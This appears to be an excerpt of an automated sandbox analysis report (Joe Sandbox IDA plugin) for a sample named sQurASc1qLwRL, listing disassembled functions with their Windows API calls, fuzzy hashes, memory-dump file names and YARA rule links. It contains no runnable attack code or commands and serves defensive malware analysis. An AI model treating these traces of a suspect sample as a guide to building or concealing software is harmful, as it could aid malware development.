Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 178f21a278dbeca0b5487afb4cc8a3a474e9964bec91cf1fa54baf1df103d301
Instruction ID: 3e1e9a66f2526eb02ce93895e5fa1006c5947d115418489384634c6f5ce8cf05
Opcode Fuzzy Hash: 178f21a278dbeca0b5487afb4cc8a3a474e9964bec91cf1fa54baf1df103d301
Instruction Fuzzy Hash: 7341A434B00A58AFCF11EF65CC859DEB7B9EBC8305F4044AAF804A7341E6389E848E49

Function 0042E934 Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E956
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E981
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E98E
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E996
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E99C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
Instruction ID: 661b18b1de4eb1238568a50ab540e77c3175952f9b14320adb6d96c9b056064d
Opcode Fuzzy Hash: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
Instruction Fuzzy Hash: 80F090B23A17207AF620B57A5C86F7F418CCB89B68F10423BBA04FF1D1D9A85D0555AD

Function 00483420 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0048345E
GetWindowLongA.USER32(00000000,000000F0), ref: 0048347C
ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049C0A4,0048293A,0048296E,00000000,0048298E,?,?,?,0049C0A4), ref: 0048349E
ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049C0A4,0048293A,0048296E,00000000,0048298E,?,?,?,0049C0A4), ref: 004834B2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 7adc6d23a2e45bfcb47f86f15328f2256524f13007b9a6bd5233fe1c8f26e82e
Instruction ID: b2d3f2bb309dc3ccac68fe08692f7b65e7038161d92c55b9b58b225abec03440
Opcode Fuzzy Hash: 7adc6d23a2e45bfcb47f86f15328f2256524f13007b9a6bd5233fe1c8f26e82e
Instruction Fuzzy Hash: 750152706012409AE601BFE59D8AB5A26C55F10F49F18087BB9009F2A2DA2DDA858B1C

Function 004625C4 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00462698), ref: 0046261C
FindNextFileA.KERNEL32(000000FF,?,00000000,00462678,?,00000000,?,00000000,00462698), ref: 00462658
FindClose.KERNEL32(000000FF,0046267F,00462678,?,00000000,?,00000000,00462698), ref: 00462672

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: e94515bc2c8b3d54fda8ee7ea50903a5de584af26bf4ddc4af921dcd62f8e3d1
Instruction ID: 64bef34161faf0391a99b618d3e767a3fd2d5c762390acd0a64fbb4d401bfb5a
Opcode Fuzzy Hash: e94515bc2c8b3d54fda8ee7ea50903a5de584af26bf4ddc4af921dcd62f8e3d1
Instruction Fuzzy Hash: E921D831904B147ECB11EB65DC41ADEB7ACDB49304F5084F7F808E22A1E6B89E548F5A

Function 004241DC Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004241E4
SetActiveWindow.USER32(?,?,?,0046CBC7), ref: 004241F1

Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Part of subcall function 00423B14: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,020B25AC,0042420A,?,?,?,0046CBC7), ref: 00423B4F

SetFocus.USER32(00000000,?,?,?,0046CBC7), ref: 0042421E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
Instruction ID: c953833529836f01456b8f788e47b4b7c36f7a841d6c6df07f57e62630513da6
Opcode Fuzzy Hash: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
Instruction Fuzzy Hash: 8CF030B170012097CB10BFAAA8C5B9676A8AB48344F5500BBBD05DF357CA7CDC018778

Function 00417CCE Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D0F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: 76c66e33316401a89d3facc50d11a2b6f1ba08a7ab00baf439cd89f832e1e53a
Instruction ID: d9358ea7cd183770b33139a8ac7b7a0a70302bd2c01e5fc8313c3e2814ac7f2c
Opcode Fuzzy Hash: 76c66e33316401a89d3facc50d11a2b6f1ba08a7ab00baf439cd89f832e1e53a
Instruction Fuzzy Hash: 33012C71204108ABDB10EE59D8C1EF673A8AF45724F154566FD19DF242D639ED8087A8

Function 00417598 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004175C3
GetCapture.USER32 ref: 004175CC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
Instruction ID: 6cb7601519473143bf4e876ebf6758ccc8fc4fa751d6c6e0357a6193460a6b05
Opcode Fuzzy Hash: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
Instruction Fuzzy Hash: 0AF0A4723056425BD730AB2EC984AB762F69F84314B14403BE419CBFA1EB3CDCC08798

Function 00424194 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0042419B

Part of subcall function 00423A84: EnumWindows.USER32(00423A1C), ref: 00423AA8
Part of subcall function 00423A84: GetWindow.USER32(?,00000003), ref: 00423ABD
Part of subcall function 00423A84: GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
Part of subcall function 00423A84: SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02

SetActiveWindow.USER32(?,?,?,00423D73,00000000,0042415C), ref: 004241AF

Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
Instruction ID: ce5d4440ec1c13bcfda566247f28ea27228b22b89c70f7a48f218b5e8bc86154
Opcode Fuzzy Hash: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
Instruction Fuzzy Hash: 55E01AA070011087DB10AFAADCC8B9632A9BB48304F55017ABD49CF35BD63CC8608724

Function 004125D8 Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D5), ref: 004127C3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
Instruction ID: 2c049f03cfb376e3baa0368465928f91904f6d03483072bf0e6cb5f6a46bccc5
Opcode Fuzzy Hash: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
Instruction Fuzzy Hash: 4A5102357082048FD710DB6ADA80A9BF3E5EF98314B2082BBD814C77A1D7B8AD91C75D

Function 004785E0 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0047872E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 10ca812e3c548e1abffc20113ea3ec26250c704f28d0c7929afa756ed2071b4a
Instruction ID: 93be4e423146f0b72d2fb04b2818289b08cc6f156d75f667f85849a608f59376
Opcode Fuzzy Hash: 10ca812e3c548e1abffc20113ea3ec26250c704f28d0c7929afa756ed2071b4a
Instruction Fuzzy Hash: 81416979604104EFCB10CF99D6889AAB7F5FB48310B74C5AAE809EB701DB38EE41DB55

Function 0045D08C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045D097

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
Instruction ID: 2e238a974be0c8424367b3c35ccc205e7f0a308c5ec670be841bb4718b7179ff
Opcode Fuzzy Hash: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
Instruction Fuzzy Hash: 37C09BF200420CBF660057D5ECC9C77B75CF6586547508126F6048210195726C104574

Function 0045D0A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,0046D988,?,0046DB69), ref: 0045D0AA

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
Instruction ID: 227689971defb3a768f182aa15824e3680876923b4d994b81e1676941902ce31
Opcode Fuzzy Hash: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
Instruction Fuzzy Hash: 9DA002B0A80300BAFD2057B05D4EF26352CA7D0F05F708465B202EA0D085A56410852C

Function 10001130 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2538174174.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.2538123451.0000000010000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.2538220242.0000000010002000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Function 10001000 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2538174174.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.2538123451.0000000010000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.2538220242.0000000010002000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Function 0044B658 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B604: GetVersionExA.KERNEL32(00000094), ref: 0044B621

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498762), ref: 0044B67F
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B7C9
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B7DB
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B7ED
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B7FF
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B811
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B823
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B835
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B847
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B859
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B86B
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B87D
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B88F
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B8A1
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B8B3
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B8C5
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B8D7
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B8E9
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B8FB
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B90D
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B91F
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B931
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B943
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B955
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B967
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B979
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B98B
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B99D
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B9AF
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B9C1
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B9D3

Strings

GetThemeBool, xrefs: 0044B7D3
GetThemeSysFont, xrefs: 0044B8E1
GetThemeDocumentationProperty, xrefs: 0044B9A7
IsThemeDialogTextureEnabled, xrefs: 0044B95F
HitTestThemeBackground, xrefs: 0044B743
GetThemeBackgroundRegion, xrefs: 0044B731
GetThemeColor, xrefs: 0044B79D
GetThemeTextExtent, xrefs: 0044B70D
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B78B
GetThemeFont, xrefs: 0044B81B
GetThemeTextMetrics, xrefs: 0044B71F
GetThemeFilename, xrefs: 0044B887
GetThemeSysColor, xrefs: 0044B899
GetThemePartSize, xrefs: 0044B6FB
GetThemeEnumValue, xrefs: 0044B7F7
GetThemeSysBool, xrefs: 0044B8BD
GetThemeSysColorBrush, xrefs: 0044B8AB
DrawThemeBackground, xrefs: 0044B6B3
GetThemeBackgroundContentRect, xrefs: 0044B6D7, 0044B6E9
GetThemeMetric, xrefs: 0044B7AF
SetWindowTheme, xrefs: 0044B875
OpenThemeData, xrefs: 0044B68F
GetThemeIntList, xrefs: 0044B851
EnableThemeDialogTexture, xrefs: 0044B94D
uxtheme.dll, xrefs: 0044B67A
CloseThemeData, xrefs: 0044B6A1
GetWindowTheme, xrefs: 0044B93B
GetThemeSysSize, xrefs: 0044B8CF
IsThemePartDefined, xrefs: 0044B779
GetThemePosition, xrefs: 0044B809
SetThemeAppProperties, xrefs: 0044B983
GetThemeSysString, xrefs: 0044B8F3
GetThemeString, xrefs: 0044B7C1
EnableTheming, xrefs: 0044B9CB
GetThemeAppProperties, xrefs: 0044B971
IsAppThemed, xrefs: 0044B929
DrawThemeParentBackground, xrefs: 0044B9B9
DrawThemeEdge, xrefs: 0044B755
GetThemeInt, xrefs: 0044B7E5
GetThemeMargins, xrefs: 0044B83F
GetThemeRect, xrefs: 0044B82D
DrawThemeText, xrefs: 0044B6C5
GetThemePropertyOrigin, xrefs: 0044B863
GetCurrentThemeName, xrefs: 0044B995
DrawThemeIcon, xrefs: 0044B767
GetThemeSysInt, xrefs: 0044B905
IsThemeActive, xrefs: 0044B917

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
Instruction ID: e93aa9000a3b975727f71862fff1c9a8a52c50bca2d3d110ef64c9f3a3b13d35
